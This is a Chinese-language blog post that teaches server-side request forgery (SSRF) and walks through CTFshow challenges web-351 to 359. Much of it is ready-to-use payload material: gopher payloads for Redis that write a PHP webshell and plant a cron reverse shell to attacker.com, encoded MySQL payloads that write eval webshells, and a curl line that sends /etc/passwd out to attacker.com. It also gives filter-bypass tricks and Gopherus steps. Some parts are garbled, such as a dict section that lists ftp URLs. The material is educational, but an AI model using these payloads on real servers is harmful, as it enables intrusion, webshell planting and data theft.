周报报报报

发布于:2025-06-24 ⋅ 阅读:(17) ⋅ 点赞:(0)

一、什么是ssrf

构造恶意语句通过服务器发起请求,访问其他服务器(多是内网),从中获取资源信息。

二、伪协议

(1)ftp://协议:探测目标端口

ftp://[用户名]:[密码]@[主机]:[端口]/[路径]

a.匿名登陆尝试

ftp://anonymous:anonymous@target/
ftp://anonymous:guest@target:21
ftp://user:password@target/
ftp://%0D%0AEXEC%20touch%20/tmp/test@target  # 命令注入尝试
ftp://user@target:%252f../etc/passwd        # 路径遍历尝试

b.文件操作Payload

ftp://target/%2e%2e%2f%2e%2e%2f/  # 路径遍历
ftp://target/dir/;type=d           # 强制目录列表
ftp://target/etc/passwd
ftp://target/../../../../var/www/html/config.php
ftp://target/incoming/shell.php;type=i  # 二进制模式上传

(2)Gopher://协议:俗称万金油协议可以构造任意请求

一、基础探测Payload

1. 端口探测

gopher://127.0.0.1:22/_  # 探测SSH服务
gopher://localhost:6379/_ # 探测Redis服务

2. 响应特征判断

服务存活:连接建立成功

服务关闭:连接拒绝/超时

二、Redis利用Payload

1. 未授权访问写Webshell

url

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$10%0d%0a<?php eval($_POST[cmd]);?>%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0a

2. 反弹Shell

url

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0ax%0d%0a$61%0d%0a%0a%0a*/1 * * * * /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a

三、MySQL利用Payload

1. 认证绕过攻击

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%39%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%03%66%6f%6f%03%62%61%72

2. 执行系统命令(需FILE权限)

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%39%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%73%65%6c%65%63%74%20%22%3c%3f%20%73%79%73%74%65%6d%28%24%5f%47%45%54%5b%63%6d%64%5d%29%3b%20%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%65%6c%6c%2e%70%68%70%27

四、HTTP协议封装

1. 发送GET请求

gopher://127.0.0.1:80/_GET%20/internal.php%3Fcmd%3Did%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0A%0D%0A

2. 发送POST请求

gopher://127.0.0.1:80/_POST%20/submit.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2036%0D%0A%0D%0Ausername%3Dadmin%26password%3Dpassword123

(3)dict://协议:探测主机信息

ftp://target:21 # 检测FTP服务
ftp://127.0.0.1:22 # 检测SSH服务
ftp://localhost:3306 # 检测MySQL服务
ftp://192.168.1.1:6379 # 检测Redis服务

什么是dict客户端?

连接DICT协议服务器(通常运行在2628端口)

发送标准DICT命令(如DEFINE、MATCH等)

接收并解析服务器返回的字典数据

以用户友好的方式呈现查询结果

(4)file://协议:从DICT客户端是专门设计用来:

文件系统中获取文件

http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini

三、相关函数:file_get_contents\fsockopen\curl_exec\fopen\readfile

(1)file_get_contents

功能是从用户提供的网页获取内容写入文件然后保存展示给用户

$url = $_GET['url']; // 用户完全可控输入
echo file_get_contents($url);
$url = "http://".$_POST['domain']."/api"; // 拼接式注入$_POST['domain']-用户可控的域名输入
file_put_contents('cache.log', file_get_contents($url));
$path = str_replace('ftp:/', 'http:/', $_GET['path']); // 不安全的协议转换
readfile($path);

(2)fsockopen():

<?php function GetFile($host, $port, $link) { $fp = fsockopen($host, intval($port), $errno, $errstr, 30); if (!$fp) { 	 echo "$errstr (error number $errno) \n"; } else { 	 $out = "GET $link HTTP/1.1\r\n"; 	 $out .= "Host: $host\r\n"; 	 $out .= "Connection: Close\r\n\r\n"; 	 fwrite($fp, $out); 	 $contents = ''; 	 while (!feof($fp)) { 		 $contents .= fgets($fp, 1024); 	 } 	 fclose($fp); 	 return $contents; } } ?>  该函数使用socket与服务器建立TCP连接,传输原始数据1。 

(3)curl_exec():

<?php if (isset($_POST['url'])) { $link = $_POST['url']; $curlobj = curl_init(); curl_setopt($curlobj, CURLOPT_POST, 0); curl_setopt($curlobj, CURLOPT_URL, $link); curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($curlobj); curl_close($curlobj); $filename = './curled/' . rand() . '.txt'; file_put_contents($filename, $result); echo $result; } ?>  该函数通过cURL获取数据,并将其保存到本地文件中2。 

四、绕过姿势

对于SSRF的限制大致有如下几种:

1、 限制请求的端口只能为Web端口,只允许访问HTTP和HTTPS的请求。

采用HTTP基本身份认证的方式绕过

即@: Evil.Com - We get it...Daily.

  1. www.xxx.com 被当作用户名
  2. evil.com 是实际访问的目标主机
  3. 由于@符号的优先级,实际请求发送到evil.com

2、限制域名只能为 http://www.xxx.com

采用无效的伪协议头,例:httpssssss://就会将他当做文件夹,然后再配合目录穿越即可读取文件

http://www.xxx.com/ssrf.php?url=httpssssss://../../etc/passwd

3、限制不能访问内网的IP,以防止对内网进行攻击。

可以采用短链接或者ip指向来解决

这里解释下短链,搜了一下大概是因为它过滤了内网ip想要绕过将内网ip编成特定短链(公网ip)在访问后返回302重定向,定向到原来的内网ip实现绕过,嗯。。。过程也类似DNS重绑定,至于与怎么制造短链

在用deepseek找了几个主流短链接平台,不是停用,就是如图

ai这方面果然不靠谱。。。,又在网上找搜到一个能用正常能加载出来的

摩尔短链接 - 免费短链接在线生成工具。

好的后面讲下ip指向和短链区别deepseek给的两张图

4、屏蔽返回的详细信息。

绕过方法:

(1) 短链接/URL重定向

攻击步骤

在公网服务器设置重定向:

Location: http://192.168.1.1/admin

请求短链接服务:

http://bit.ly/xyz (实际指向内网地址)

(2) IP编码变形

Payload示例

http://2130706433     # 127.0.0.1的十进制
http://0x7f000001     # 127.0.0.1的十六进制
http://0177.0.0.1     # 127.0.0.1的八进制

(3) DNS重绑定

攻击流程

  1. 控制域名设置极短TTL
  2. 第一次解析返回合法IP通过检查
  3. 实际连接时DNS返回内网IP

4. 屏蔽返回详细信息及应对

限制原理:不向客户端返回原始响应内容,只返回自定义的成功/失败信息

绕过方法:

(1) 基于时间的盲测

攻击方式

import requests
import time

ports = [80, 443, 3306, 6379]
for port in ports:
    start = time.time()
    requests.get(f'http://victim.com/ssrf?url=http://127.0.0.1:{port}')
    delay = time.time() - start
    if delay > 2:  # 开放端口通常响应更快
        print(f'Port {port} may be open')

(2) 错误差异分析

攻击方式

对比访问存在/不存在服务的错误消息差异,通过细微差别判断端口状态

(3) 带外数据外传(OOB)

攻击Payload

http://127.0.0.1:3306/?key=<?php system('curl http://attacker.com/?leak=$(cat /etc/passwd|base64)');?>

五、例题

web-351

因为这个题是ssrf类型的要在公网上访问内网再看这个题的代码发现他需要一个url参数既然要访问内网得flag我直接payload:url=127.0.0.1/flag.php

然后就成了(离谱)

如图:

web-352

 <?php
    error_reporting(0); //表示禁用了报错功能
    highlight_file(__FILE__);
    $url = $_POST['url']; //请求一个post参数
    $x = parse_url($url); //利用这个函数把url拆成各个部分并将其储存在数组x中(比如协议部分、主机ip、端口号、路径)
    if ($x['scheme'] === 'http' || $x['scheme'] === 'https') //表示url中的协议只能是http和https 
    {
        if (!preg_match('/localhost|127.0.0/')) //表示url参数不能以localhost或者是127.0.0.1开头
        {
            $ch = curl_init($url); //初始化一个curl会话并指定要访问的url
            curl_setopt($ch, CURLOPT_HEADER, 0); //0表示curl选项禁止包含响应头信息
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //设置curl选项,表示把响应信息作为字符串返回
            $result = curl_exec($ch); //执行curl,并将返回结果储存在变量result中
            curl_close($ch); //关闭curl会话
            echo ($result); //将变量输出
        } else {
            die('hacker');
        }
    } else {
        die('hacker');
    }
    ?>
/* curl可以访执行http请求(包括https)和上传还有下载文件 curl工具是命令行工具和库它一般用于脚本调试还有直接使用命令行进行网络操作
如果仅仅只是访问页面那么浏览器已经足够了*/

这一关和上一关的的区别在于上一关没有限制协议类型这一关只能是http或者是https,还有一个限制条件if (!preg_match('/localhost|127.0.0/'))但是他这个代码是错的因为它没有指定正则匹配的对象所以说这个限制条件作废,直接paylod:http://127.0.0.1/flag.php

web-35

在这一关主要是preg_match('/localhost|127\.0\.|\。/i', $url)和$x['scheme']==='http'||$x['scheme']==='https'两个条件限制满足或绕过他们即可

第一个要求参数中不能有localhost和127.0.还有。我们可以尝试使用其他进制绕过比如IP常用的八进制和十六进制,还有一个条件是要使用http或者https协议,直接payload$url=http://0x7F000001/flag.php

或者:

$url=http://0177.0.0.1/flag.php

如图:

常见的IP地址表示法:

点分十进制(例如:127.0.0.1)

八进制表示(例如:0177.0.0.1,相当于127.0.0.1)

十六进制表示(例如:0x7F000001,也相当于127.0.0.1)

web-354

在这一关涉及到一个新的知识同源策略(SOP)同源策略是指协议+域名+端口三者相同,这个策略是浏览器的最基本的安全功能对于一些网站会限制只有同源的情况下才可以互相访问比如:

https://www.example.com/page1.html

https://www.example.com/page2.html

端口如果没写的话默认是443,这种同源策略可以防止xss和csrf,下面要说到的DNS重绑定就是利用了同源策略(SOP)的漏洞,如果我们只改变域名所绑定的ip但是域名本身不发生改变比如:www.example.com这个域名原来dns解析对应的ip为192.168.12.1虽然攻击者又把这个域名绑定的ip变为112.123.11.3

但是www.example.com这个域名本身不变所以仍然满足同源策略这样便实现了SOP的绕过

DNS重绑定

攻击过程:攻击者拥有一个自己的域名可以随便改变这个域名所绑定的ip

流程:

第一次DNS解析:

用户访问恶意网站(如 malicious.com)。

DNS解析返回攻击者控制的服务器IP(例如 203.0.113.5)。

浏览器连接到 203.0.113.5 并加载恶意JavaScript代码。恶意代码执行:

恶意代码在用户浏览器中运行,通常会包含一个定时器或某种触发机制,等待第一次DNS解析结果的TTL过期。

第二次DNS解析:

恶意代码触发对 malicious.com 的第二次DNS解析。

此次解析返回内网IP地址(例如 192.168.1.10)。

浏览器认为 malicious.com 仍然是同一个域,因此允许访问内网IP。

不能直接只是通过一个来回实现dns重绑定的原因

1.内网不能直接通过外部网络访问(它不是通过外部网络直接访问该内网IP,而是通过浏览器内的网络堆栈进行的。浏览器内的请求被视为本地网络请求。

浏览器在用户的网络环境中运行,能够直接访问用户网络内的所有资源。这意味着,尽管攻击者的初始服务器是外部的,但浏览器的后续请求是在受害者的本地网络中发起的。)

2.只有第一次解析到攻击控制的服务器ip才能执行页面上对应的javascript代码才能实现我们获取内网信息的目的

这种操作会存在至少两个危险:1.受害者点击的页面可能存在恶意代码2.如果DNS重绑定的ip是127.0.0.1可能会导致攻击者直接进入内网

防止DNS重绑定攻击

**用户的角度:**更改路由器的配置,过滤DNS响应中的私有IP范围等可疑IP地址。

**开发人员的角度:**内部的网络设备应该验证其自己的服务器是否与所请求的主机匹配。如HTTP服务器添加“主机”标头验证。只有host标头中的主机名是服务器可以提供服务的才行。(host标头通常是进行请求时的域名,如果这个这个域名没有通过服务器的验证,那么服务器就不会为这个ip提供服务)

另一种有效方法是使用HTTPS而不是HTTP,发生重新绑定时,目标服务将具有对www.hacker.com无效的SSL证书,因此安全警告将阻止你的请求。 (即使你把www.hacker.com这个域名绑定到127.0.0.1上无论本地有没有配置有效的SSL证书,这个访问操作都会受到浏览器的阻止 因为自签名证书是不受信任的)

这还涉及到DNS劫持因为只有这样才能在用户进行解析域名的时候是引导到攻击者控制的dns解释器中把域名解析成任意IP

查看本地DNS缓存及相关操作

ipconfig /displaydns

用于查看本地的dns缓存

如图:

nslookup 域名
用于查看一个域名的ip

如图:

我们可以在事件查看器中去手动开启本地的dns具体操作自己找

也可以改本地的dns中的数据这样对于一个目标机器我们可以随便更改dns中的域名所对应的ip进而实现进一步利用

web-354

这一关的主要条件是if(!preg_match('/localhost|1|0|。/i', $url))发现这关的过滤比较严格在字符串中不能含有localhost 1 0 和 。显然这一关显然不能使用localhost和127.0.0.1当然八进制和十进制也是不行的

对于这个题可以不用那么麻烦网上有现成的

参考一些公共 http 域名,但是解析到 127.0.0.1_可以被解析为127.0.0.1的域名-CSDN博客

直接payload:url=http://safe.taobao.com/flag.php

web-355

本关的知识:

0在linux系统中会解析成127.0.0.1,而在windows中会解析成0.0.0.0 127.1和127.0.0.1是等价的

如何查看一个网页的服务器是什么系统

可以使用What's that site running? | Netcraft这个网站查询也可以随便输入个路径或F12看响应头的server看有没有如图:

对于这个网站就设置了无法访问的时候显示404但是我们仍然可以看到所使用的web服务器是nginx服务器 可以猜测操作系统是linux 虽然 Nginx 也可以在 Windows 上运行,但它通常在 Linux 上被广泛使用作为 Web 服务器。

0.0.0.0表示所有可用的ip地址如果直接在URL栏中输入 0.0.0.0 并不会打开一个网页,而是可能导致浏览器尝试连接到一个无效的IP地址或者显示错误信息

如果在命令行中ncat -l 0.0.0.0表示监听所有IPv4地址的所有网络接口

跟据源码显示这一关的限制主要是host的长度小于5 strlen($host)<=5

做题:

这关的host可以使用0或者127.1来代替

综上直接payload:url=http://0/flag.php或者url=http://127.1/flag.php

如图:

web-356

对于这一关和上一关的主要区别在于缩短了host的长度限制strlen($host)<=3直接payload:url=http://0/flag.php

跟上一关基本没去别至于为什么使用0可以代替127.0.0.1的思路上一关有提到

如图:

web-357

这关我们主要是认识一下新出现的过滤条件

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);//把host主机名解析成ip地址
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE))
//FILTER_VALIDATE_IP验证解析出来的ip是否是有效ip
//FILTER_FLAG_NO_PRIV_RANGE验证解析出来的ip是否是私有ip
//FILTER_FLAG_NO_RES_RANGE验证解析出来的ip是否是保留ip
{
    die('ip!');
}


echo file_get_contents($_POST['url']);//可以访问到对应的url中并且输出页面中的内容
}
else{
    die('scheme');
}
?> 

方法一、

可以通过一个自己的网站来跳转访问到127.0.0.1/flag在自己网站的根目录下创建一个用来跳转的php文件test.php文件内容

<?php
header("Location:http://127.0.0.1/flag.php");
?>

然后payload:url=http://ip或域名//test.php(ip或域名天自己的)

直接传参如图:

web-358

preg_match('/^http:\/\/ctf\..*show$/i',$url)

在这一关只有一个限制条件preg_match('/^http:\/\/ctf\..*show$/i',$url)

表示传入参数要以http://ctf.开头以show结尾,.*:匹配任意数量的任意字符(除了换行符)^:匹配字符串的开头$:匹配字符串的结尾

直接payload:url=http://ctf.@127.0.0.1/flag.php?show在http://和@之间的ctf.表示用户名 一般是username:passworld如果没有密码,冒号也可以省略 这是用户信息部分用于进行信息验证

后面的show只是为了满足是以show结尾这个条件?是为了让其成为参数这样不影响正常网站的访问

结果如图:

web-359

这关要使用到一个gopherus,先来了解一下什么是gopher,它比www的作用小一点主要是用来处理静态的页面交互性比www差 现在很少用到,**www(World Wide Web)**代表着万维网,是一个基于超文本的信息系统,通过互联网访问,并由许多网页组成。它是通过HTTP(超文本传输协议)来传输数据的,Gopher是一种早期的互联网信息检索协议,旨在提供简单的、层次化的文档检索系统。与WWW不同,它更加简单且层次化

gopher://gopher.floodgap.com 使用 Gopher 协议,访问的是提供 Gopher 服务的服务器

**https://www.baidu.com**使用的是https协议,访问的是提供web服务的服务器

www对应http、https协议

gopher对应gopher协议

工具下载:https://github.com/Esonhugh/Gopherus3(最新地址可适配python3)

工具的是使用:

如果您知道某个地方存在 SSRF 漏洞,那么此工具将帮助您生成 Gopher 有效负载,以利用 SSRF(服务器端请求伪造)并获得 RCE(远程代码执行)。此外,它还将帮助您在受害服务器上获取反向 shell。有关更多信息,您可以在Gopherus 上的同一个博客上找到一篇博客

该工具可以为以下对象生成payload:

MySQL(端口 3306)

PostgreSQL(端口-5432)

FastCGI(端口 9000)

Memcached(端口 11211)

如果存储的数据通过以下方式进行反序列化:

Python

红宝石

PHP

Redis(端口-6379)

Zabbix(端口 10050)

SMTP(端口 25)

这篇文章讲解的ssrf比较全面推荐看看CTF SSRF 漏洞从0到1 - FreeBuf网络安全行业门户

做题:

此题登进去是一个登录界面我先扫了一下后台如图:

没啥东西抓个登录包看看如图:

由图可知是向check.php页面提交的信息从提交的数据中可以明显的看出参数returl(return url)是一个回调url,如果页面对这个url没有进行严格的控制有可能被利用,根据提示可知这关是打无密码的mysql

直接利用Gopherus的mysql模块去构造mysql的payload(分别依次输入)

python gopherus.py --exploit mysql//指定使用mysql模块
root //输入没有密码的mysql的用户名
select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/aa.php';//把一句话木马写到指定的路径下

/var/www/html一般网页的主要功能文件都在这个目录下

如图:

在3306/_的后面是经过十六进制编码后的一句话木马

Gopher协议格式

URL: gopher://<host>:<port>/<gopher-path>_后接TCP数据流#

注意必须相信后面那个下划线"_",下划线"_"后面才开始接TCP数据流,如果加这个"_",那么服务端收到的消息将不是完整的,该字符可随意写。

TCP流中的数据在传输过程中通常以二进制形式表示。在网络传输中,数据往往以字节为单位进行传输。这意味着在实际传输过程中,数据以二进制形式进行编码。

然而,在分析和查看TCP流时,通常将数据以十六进制的形式呈现出来,这样做更方便阅读和理解数据的内容。因此,当我们查看TCP流时,经常会看到十六进制表示的数据。

Gopher链接中的所有非标准ASCII字符,最好都进行URL编码,以确保它们能够正确传输和解析

所以我们要把3306/_的后面的数据进行一次url编码

最后直接payload:

%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254c%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2540%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2527%2563%256d%2564%2527%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2561%2561%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501

然后post传入如图:

flag.txt在根目录


网站公告

今日签到

点亮在社区的每一天
去签到